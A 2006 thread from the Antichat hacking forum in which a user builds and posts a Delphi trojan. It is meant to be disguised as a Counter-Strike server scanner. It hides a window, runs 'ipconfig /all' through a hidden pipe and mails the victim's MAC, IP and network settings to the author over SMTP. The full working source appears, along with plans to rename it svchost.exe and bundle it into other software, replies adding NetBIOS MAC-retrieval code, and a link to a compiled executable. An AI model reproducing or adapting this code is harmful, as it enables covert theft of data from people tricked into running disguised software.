Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   С/С++, C#, Delphi, .NET, Asm (https://forum.antichat.xyz/forumdisplay.php?f=24)
-   -   ? delphi. Как сохранить содержимое memo в txt файл? (https://forum.antichat.xyz/showthread.php?t=16299)

donetsk 22.03.2006 13:01

? delphi. Как сохранить содержимое memo в txt файл?
 
В общем задумка такая написать програмку, которая будет закидываться клиенту в качестве полезной программы, ну например сканирование сети на поиск игровых серверов с всякими прикольными функциями ;)
Но програма будет включать в себя что-то типо среды разведчика .
Её цель узнать mac и айпи узера.
Как она будет это делать:
1.Красивая оболоча (форма) содержащая функции поиска игровых серверов в сети
2.Скрытое мемо поле , в которое будет выводиться содержимое cmd , а конкретнее ip config/all
3.Содержимое ipconfig будет храниться в мемо(скрытом мемо)
4.Содержимое мемо будет записываться в тексовый файл лог файл красио обозваный например c:\windows\ipconfig.log
Те гдубо говоря запишим содеримое всего ipconfig В лог файл чтобы никто не догадался обозвали его круто ipconfig.log
5.Полученый файл отправим по почьте , на кодировку всё равно, нам главное mac и айпи ;)

В процессе разработки сделал вывод содержимого мемо, скрыл это содержимое, а вот как сохранить содержимое из мемо в txt файл не знаю :( не получается :(

пробую так:
Проблема с которой столкнулся

Код:


 var
    Form1: TForm1;
    Fo,Fi :textfile;
    var s : string;
    i : integer;
  implementation


  {$R *.dfm}


  procedure TForm1.Button1Click(Sender: TObject);
  begin
  assignfile(Fo, ' d:\xxx\=file1=.txt ' );
  rewrite(Fo); //создаем файл
  for i:=0 to memo1.Lines.Count-1 do
  writeln(Fo,memo1.Lines[i]); //записываем текст в него из МЕМО
  closefile(fo); //и закрываем
  button2.Enabled:=true;//теперь можно 2-ю кнопку использовать
  end;


donetsk 22.03.2006 13:17

Всё спасибо , не нужно разобрался ;)
Код:

memo1.Lines.SaveToFile('1.txt');
тепрь новый вопрос Как можно отправить файл текстовый по почьте, или содержимое мемо сразу?
ну какая нибуть команда типо mail Send??? в делфи есть чтобы можно было сразу мыло уазать и оправка происходила не заметно?

donetsk 22.03.2006 18:25

Ладно никто не хочет отвечать :(
написал по другому вечером выложу готовый файл, но троян работает через memo а не через файлы :( это не очень хорошо, но всё же задуманно осуществил мас+ip узнаю лёгко !
УрА ТОВАРИЩИ ПОЗДРАВЬТЕ С УСПЕШНО НАПИСАНЫМ 1-м троем за 1 день написанным :) без ответов на форуме :))))))

EvL 25.03.2006 20:51

Тупо видно ты мало знаеш не так это всё делается причем тут ipconfig и делфи? ты че думаеш memo1.visable:=false; а текст в нем ipconfig >> C:\Windows\ipconfig.log ? :eek: грубо ! даже если так делать то нужно создать стрингЛист и в нем вписать и выполнить но это поламерски ай-пи можно многими путями в делфи например используя winsock а впринцыпе про VCL забывать пора.

EvL 25.03.2006 20:56

Цитата:

Сообщение от donetsk
Ладно никто не хочет отвечать :(
написал по другому вечером выложу готовый файл, но троян работает через memo а не через файлы :( это не очень хорошо, но всё же задуманно осуществил мас+ip узнаю лёгко !
УрА ТОВАРИЩИ ПОЗДРАВЬТЕ С УСПЕШНО НАПИСАНЫМ 1-м троем за 1 день написанным :) без ответов на форуме :))))))

Ужас :rolleyes: выучи синтаксис в делфи затем не используя компонентов напиши свой текстовой редактор то есть можно $APPTYPE_CONSOLE будет консольная тулза пусть это всё будет геморойно но зато в стиле эксполйтов. :D про трои молчу.

donetsk 25.03.2006 21:06

EvLУжас выучи синтаксис в делфи
Зачем учить язык который мне совершенно не нужен, была задача , задачу решил, ты ещё повосетуй на делфях написать свой язык программирования , потом создать пару десятков компонентов для этого и свои свой компилятор.

Уважаемый плиз в студию как winsock узнает мак адрес твоей сетевой, маршрутизацию прописаную таи имя учетки и всё, что связано что нужно узнать для угога привязки к модему и лок настройкам?

Пальцы конечно можно гнуть всегда и писать суппер закодиные проги которые будет весить гекетыры и то, что они будут отсылать тоже будут Га весить...

А документ текстовый , или не текстовый создавать всё равно -это образно говориться, конечно лучьше записывать в какой -нибуть setuplog.txt c систем рута и полученную инфу кодить и отсылать закодиной с этим согласен, но всё зависит от поставленых целей!

drmist 25.03.2006 21:08

какой ужас
определение MAC - 5 строчек на АПИ, легко через яндекс ищется.
Сохранение в файл - 3 строчки.

Зачем такой ужас с пайпами и убогим memo?

EvL 26.03.2006 02:11

Цитата:

Сообщение от donetsk
EvLУжас выучи синтаксис в делфи
Зачем учить язык который мне совершенно не нужен, была задача , задачу решил, ты ещё повосетуй на делфях написать свой язык программирования , потом создать пару десятков компонентов для этого и свои свой компилятор.

Уважаемый плиз в студию как winsock узнает мак адрес твоей сетевой, маршрутизацию прописаную таи имя учетки и всё, что связано что нужно узнать для угога привязки к модему и лок настройкам?

Пальцы конечно можно гнуть всегда и писать суппер закодиные проги которые будет весить гекетыры и то, что они будут отсылать тоже будут Га весить...

А документ текстовый , или не текстовый создавать всё равно -это образно говориться, конечно лучьше записывать в какой -нибуть setuplog.txt c систем рута и полученную инфу кодить и отсылать закодиной с этим согласен, но всё зависит от поставленых целей!

Чтоб программы невесили много используй winAPI и забудь про VCL :)
а используя winsock можно получить IP...

MAC адрес можно получить так:

uses
NB30;

function GetAdapterInfo(Lana: Char): string;
var
Adapter: TAdapterStatus;
NCB: TNCB;
begin
FillChar(NCB, SizeOf(NCB), 0);
NCB.ncb_command := Char(NCBRESET);
NCB.ncb_lana_num := Lana;
if Netbios(@NCB) <> Char(NRC_GOODRET) then
begin
Result := 'mac not found';
Exit;
end;

FillChar(NCB, SizeOf(NCB), 0);
NCB.ncb_command := Char(NCBASTAT);
NCB.ncb_lana_num := Lana;
NCB.ncb_callname := '*';

FillChar(Adapter, SizeOf(Adapter), 0);
NCB.ncb_buffer := @Adapter;
NCB.ncb_length := SizeOf(Adapter);
if Netbios(@NCB) <> Char(NRC_GOODRET) then
begin
Result := 'mac not found';
Exit;
end;
Result :=
IntToHex(Byte(Adapter.adapter_address[0]), 2) + '-' +
IntToHex(Byte(Adapter.adapter_address[1]), 2) + '-' +
IntToHex(Byte(Adapter.adapter_address[2]), 2) + '-' +
IntToHex(Byte(Adapter.adapter_address[3]), 2) + '-' +
IntToHex(Byte(Adapter.adapter_address[4]), 2) + '-' +
IntToHex(Byte(Adapter.adapter_address[5]), 2);
end;

function GetMACAddress: string;
var
AdapterList: TLanaEnum;
NCB: TNCB;
begin
FillChar(NCB, SizeOf(NCB), 0);
NCB.ncb_command := Char(NCBENUM);
NCB.ncb_buffer := @AdapterList;
NCB.ncb_length := SizeOf(AdapterList);
Netbios(@NCB);
if Byte(AdapterList.length) > 0 then
Result := GetAdapterInfo(AdapterList.lana[0])
else
Result := 'mac not found';
end;

donetsk 26.03.2006 11:03

EvLМас получим, может быть твоей функцией, а если у меня привязка на маршрутизаторе мас+айпи , ещё бывает куча шлюзов на которые тоже привязываются разные узеры с разными айпи , масками подсетей , да даже днс серверы разные и привязка происходит у неготорых(самых умных) по всем сетевым настройкам!
Так что нужно полюбому узнавать все сетевые настройки и я думаю ничего это не сделает проще , как ipconfig ил большая куча процедур,функций для этого.... Да и Win у всех разная как с этим быть тоже без понятия... Сделал вот так с отправкой на почту, ну естественно , что форму можно скрыть вообще и называть его svchost.exe , но мне так не нужно мне не важен вес, я её буду вшивать в другую прогу, котоарая будет распростроняться с программой для сканирования Контер страйк серверов ;)

Вот только фаер ловит её :(


unit Unit1;

interface

Uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient,
IdMessageClient, IdSMTP, StdCtrls, idMessage, IdEMailAddress;

type
TForm1 = class(TForm)
IdSMTP1: TIdSMTP;
Memo1: TMemo;
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.dfm}
procedure RunDosInMemo(CmdLine: string; AMemo: TMemo);
const
ReadBuffer = 24000;
var
Security: TSecurityAttributes;
ReadPipe, WritePipe: THandle;
start: TStartUpInfo;
ProcessInfo: TProcessInformation;
Buffer: Pchar;
BytesRead: DWord;
Apprunning: DWord;
begin
Screen.Cursor := CrHourGlass;
with Security do
begin
nlength := SizeOf(TSecurityAttributes);
binherithandle := true;
lpsecuritydescriptor := nil;
end;
if Createpipe(ReadPipe, WritePipe,
@Security, 0) then
begin
Buffer := AllocMem(ReadBuffer + 1);
FillChar(Start, Sizeof(Start), #0);
start.cb := SizeOf(start);
start.hStdOutput := WritePipe;
start.hStdInput := ReadPipe;
start.dwFlags := STARTF_USESTDHANDLES +
STARTF_USESHOWWINDOW;
start.wShowWindow := SW_HIDE;

if CreateProcess(nil,
PChar(CmdLine),
@Security,
@Security,
true,
NORMAL_PRIORITY_CLASS,
nil,
nil,
start,
ProcessInfo) then
begin
repeat
Apprunning := WaitForSingleObject
(ProcessInfo.hProcess, 1000);
ReadFile(ReadPipe, Buffer[0],
ReadBuffer, BytesRead, nil);
Buffer[BytesRead] := #0;
OemToAnsi(Buffer, Buffer);
AMemo.Text := AMemo.text + string(Buffer);

Application.ProcessMessages;
until (Apprunning <> WAIT_TIMEOUT);
end;
FreeMem(Buffer);
CloseHandle(ProcessInfo.hProcess);
CloseHandle(ProcessInfo.hThread);
CloseHandle(ReadPipe);
CloseHandle(WritePipe);
end;
Screen.Cursor := CrDefault;
end;
procedure TForm1.FormCreate(Sender: TObject);
var
M: TIdMessage;
begin

Memo1.Clear;
RunDosInMemo('ipconfig /all', Memo1);
M := TIdMessage.Create(Form1);
M.Body := Memo1.Lines;
M.From.Text := 'dart@en.dn.ua';
M.Recipients.Add;
M.Recipients.Items[0].Text := 'blabla@mail.ru';
M.Subject := 'Òåìà ïèñüìà';
IdSMTP1.AuthenticationType := atLogin;
IdSMTP1.Host := 'smtp.mail.ru ';
IdSMTP1.Username := ' blabla@mail.ru';
IdSMTP1.Password := ' pass';
IdSMTP1.Connect();
if IdSMTP1.Connected then
begin
IdSMTP1.Send(M);
end;
IdSMTP1.Disconnect;
end;

end.

donetsk 26.03.2006 11:54

Вот я написал по твоему совету, но как дальше без компонента IdSMTP отправлять полученные даныне ?
Как узнавать айпи адреса и все параметры сетевой карты?
Можно ли в консольное приложения вставлять компоненты я не представляю себе как....


Вот и сходник и экзешние в архиве,
но ведь использовать SysUtils всё равно придеться т.е. нужно определять IntToHex а SysUtils -это 38 кб .

и отключать {$APPTYPE CONSOLE} не получается чтобы не отображалась консоль :(
_http://anticlubtimer.narod.ru/mac.exe


Время: 18:10